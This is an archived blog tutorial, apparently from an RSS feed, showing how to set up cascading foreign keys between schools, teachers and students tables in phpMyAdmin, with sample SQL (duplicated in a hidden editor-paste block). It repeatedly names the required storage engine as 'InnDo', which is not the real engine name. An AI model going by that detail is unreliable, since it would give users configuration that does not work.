<p>The trick in phpMyAdmin is to work from the bottom up. We will start with the <em>students</em> table to link up to the <em>teachers</em> table &#8211; remember the hierarchy of tables (above). Check the bottom of this post to get a copy of the <a href="#sql">SQL</a> used in this  tutorial. Note: You might want to create a new database and run this  SQL.</p>
<p><strong>Setup a InnDo</strong></p>
<p><img class="alignnone size-full wp-image-118" style="border: 1px solid black;" title="phpMyAdmin - Foreign Keys" src="http://tomstorms.com.au/wp-content/uploads/2011/02/phpmyadmin_foreign_keys1.gif" alt="" width="726" height="171" /></p>
<p>First setup your tables so that the storage engine is set to: InnDo. This will allow you to have foreign keys. I will assume you have created a new database and successfully run the SQL above.</p>
<ul>
<li>With the list of tables in the left frame, select the first table, <em>schools</em></li>
<li> Click the &#8216;Operations&#8217; tab</li>
<li>Change the &#8216;Storage Engine&#8217; to InnDo</li>
<li>Click the &#8216;Go&#8217; button in that section to save changes</li>
<li> Repeat these steps for the <em>students</em> and <em>teachers</em> tables</li>
</ul>
<p><strong>Setup Foreign keys</strong></p>
<p><strong><a href="http://tomstorms.com.au/wp-content/uploads/2011/02/phpmyadmin_foreign_keys2.gif"><img class="alignnone size-full wp-image-119" style="border: 1px solid black;" title="phpMyAdmin - Setting up Foreign Keys" src="http://tomstorms.com.au/wp-content/uploads/2011/02/phpmyadmin_foreign_keys2.gif" alt="" width="638" height="303" /></a><br />
</strong></p>
<p>Here are the steps in order:</p>
<ul>
<li> With the list of tables in the left frame, click the <em>students</em> table. This is the lowest table in the hierarchy of table above</li>
<li>Click the &#8216;Structure&#8217; tab</li>
<li> In our example, we want the foreign key for the <em>teachers</em> table to be <em>students.teacherid</em>. This will be how we link the two tables together for cascading deletes/updates. Click the &#8216;Index&#8217; button on the row of <em>students.teacherid</em>. This is the image with a yellow lightening sign on it.</li>
<li>Now click &#8216;Relation View&#8217; underneath the field listing</li>
<li>Now we can set the Foreign Keys. We want the <em>teacherid</em> to link to <em>teachers.teacherid</em></li>
<li> Then we can change the &#8216;ON DELETE&#8217; drop down to &#8216;CASCADE&#8217; and select the same option of &#8216;ON UPDATE&#8217; if required.</li>
<li>Click &#8216;Save&#8217;</li>
</ul>
<p>- You can repeat these steps for the <em>teachers</em> table. The only difference being:</p>
<ul>
<li> You need to make the index on <em>teachers.schoolid</em></li>
<li>You want to set the Foreign Keys to link to <em>schoolid</em> to link to <em>schools.schoolid</em></li>
</ul>
<p><strong>Check that it worked</strong><br />
You can check that cascading works by viewing the before and after results in the <em>students</em> and <em>teachers</em> tables. Example, take not of a teacher ID in <em>teachers</em> table and delete it. Check the <em>students</em> table to see if there are any records left referencing the teacher ID you just deleted. If there isn&#8217;t, you have successfully configured foreign keys in phpMyAdmin.</p>
<p>&nbsp;</p>
<hr />
<p><strong><a name="sql">SQL</a></strong><br />
You can copy and paste this into a new database in phpMyAdmin and it will create and populate tables used in this example:</p>
<p>&#8211; Table structure for table `schools`</p>
<p>CREATE TABLE IF NOT EXISTS `schools` (<br />
`schoolid` int(11) NOT NULL AUTO_INCREMENT,<br />
`name` varchar(255) NOT NULL,<br />
PRIMARY KEY (`schoolid`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;<br />
INSERT INTO `schools` (`schoolid`, `name`) VALUES<br />
(1, &#8216;Flemming High School&#8217;),<br />
(2, &#8216;Norsa Primary School&#8217;);</p>
<p>&#8211; Table structure for table `students`</p>
<p>CREATE TABLE IF NOT EXISTS `students` (<br />
`studentid` int(11) NOT NULL AUTO_INCREMENT,<br />
`teacherid` int(11) NOT NULL,<br />
`name` varchar(255) NOT NULL,<br />
PRIMARY KEY (`studentid`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=8 ;<br />
INSERT INTO `students` (`studentid`, `teacherid`, `name`) VALUES<br />
(1, 2, &#8216;Sheard Melchior&#8217;),<br />
(2, 1, &#8216;Sora Marsha&#8217;),<br />
(3, 2, &#8216;Cody Nathanael&#8217;),<br />
(4, 3, &#8216;Hilaria Gyorgyike&#8217;),<br />
(5, 1, &#8216;Jakob Emmanouil&#8217;),<br />
(6, 4, &#8216;Sefton Jaqueline&#8217;),<br />
(7, 2, &#8216;Gussie Milo&#8217;);</p>
<p>&#8211; Table structure for table `teachers`</p>
<p>CREATE TABLE IF NOT EXISTS `teachers` (<br />
`teacherid` int(11) NOT NULL AUTO_INCREMENT,<br />
`schoolid` int(11) NOT NULL,<br />
`name` varchar(255) NOT NULL,<br />
PRIMARY KEY (`teacherid`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;<br />
INSERT INTO `teachers` (`teacherid`, `schoolid`, `name`) VALUES<br />
(1, 1, &#8216;Ms Jane Smith&#8217;),<br />
(2, 1, &#8216;Mr Whiffle Junior&#8217;),<br />
(3, 2, &#8216;Miss Alice Stelling&#8217;),<br />
(4, 2, &#8216;Mr John Pierce&#8217;);</p>
<div id="_mcePaste" class="mcePaste" style="position: absolute; left: -10000px; top: 1320px; width: 1px; height: 1px; overflow: hidden;">
<p>&lt;b&gt;&lt;a name=&#8221;sql&#8221;&gt;&lt;a&gt;SQL&lt;/b&gt;</p>
<p>&#8211; Table structure for table `schools`</p>
<p>CREATE TABLE IF NOT EXISTS `schools` (<br />
`schoolid` int(11) NOT NULL AUTO_INCREMENT,<br />
`name` varchar(255) NOT NULL,<br />
PRIMARY KEY (`schoolid`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;<br />
INSERT INTO `schools` (`schoolid`, `name`) VALUES<br />
(1, &#8216;Flemming High School&#8217;),<br />
(2, &#8216;Norsa Primary School&#8217;);</p>
<p>&#8211; Table structure for table `students`</p>
<p>CREATE TABLE IF NOT EXISTS `students` (<br />
`studentid` int(11) NOT NULL AUTO_INCREMENT,<br />
`teacherid` int(11) NOT NULL,<br />
`name` varchar(255) NOT NULL,<br />
PRIMARY KEY (`studentid`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=8 ;<br />
INSERT INTO `students` (`studentid`, `teacherid`, `name`) VALUES<br />
(1, 2, &#8216;Sheard Melchior&#8217;),<br />
(2, 1, &#8216;Sora Marsha&#8217;),<br />
(3, 2, &#8216;Cody Nathanael&#8217;),<br />
(4, 3, &#8216;Hilaria Gyorgyike&#8217;),<br />
(5, 1, &#8216;Jakob Emmanouil&#8217;),<br />
(6, 4, &#8216;Sefton Jaqueline&#8217;),<br />
(7, 2, &#8216;Gussie Milo&#8217;);</p>
<p>&#8211; Table structure for table `teachers`</p>
<p>CREATE TABLE IF NOT EXISTS `teachers` (<br />
`teacherid` int(11) NOT NULL AUTO_INCREMENT,<br />
`schoolid` int(11) NOT NULL,<br />
`name` varchar(255) NOT NULL,<br />
PRIMARY KEY (`teacherid`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;<br />
INSERT INTO `teachers` (`teacherid`, `schoolid`, `name`) VALUES<br />
(1, 1, &#8216;Ms Jane Smith&#8217;),<br />
(2, 1, &#8216;Mr Whiffle Junior&#8217;),<br />
(3, 2, &#8216;Miss Alice Stelling&#8217;),<br />
(4, 2, &#8216;Mr John Pierce&#8217;);</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://tomstorms.com.au/2011/phpmyadmin-foreign-keys/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
